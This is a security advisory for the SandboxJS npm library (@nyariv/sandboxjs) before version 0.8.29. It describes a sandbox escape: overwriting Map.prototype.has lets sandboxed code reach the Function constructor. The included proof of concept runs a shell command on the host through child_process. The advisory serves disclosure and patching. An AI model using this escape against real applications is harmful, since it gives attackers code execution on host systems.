SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, as Map is in SAFE_PROTOYPES, it's prototype can be obtained via Map.prototype. By overwriting Map.prototype.has the sandbox can be escaped. This vulnerability is fixed in 0.8.29.

Affected: npm: @nyariv/sandboxjs

### Summary

As `Map` is in `SAFE_PROTOYPES`, it's prototype can be obtained via `Map.prototype`. By overwriting `Map.prototype.has` the sandbox can be escaped.

### Details

This is effectively equivalent to CVE-2026-25142, but without `__lookupGetter__` (`let` was used during testing), it turns out the `let` implementation is bugged:

```js let a = Map.prototype; console.log(a) // undefined ```

```js const a = Map.prototype; console.log(a) // Object [Map] {} ```

```js let a = 123; console.log(a) // 123 ```

```js const a = 123; console.log(a) // 123 ```

### PoC

```js const s = require("@nyariv/sandboxjs").default; const sb = new s();

payload = ` const m = Map.prototype; m.has = isFinite;

console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );`;

sb.compile(payload)().run(); ```

### Impact

Able to set `Map.prototype.has` -> RCE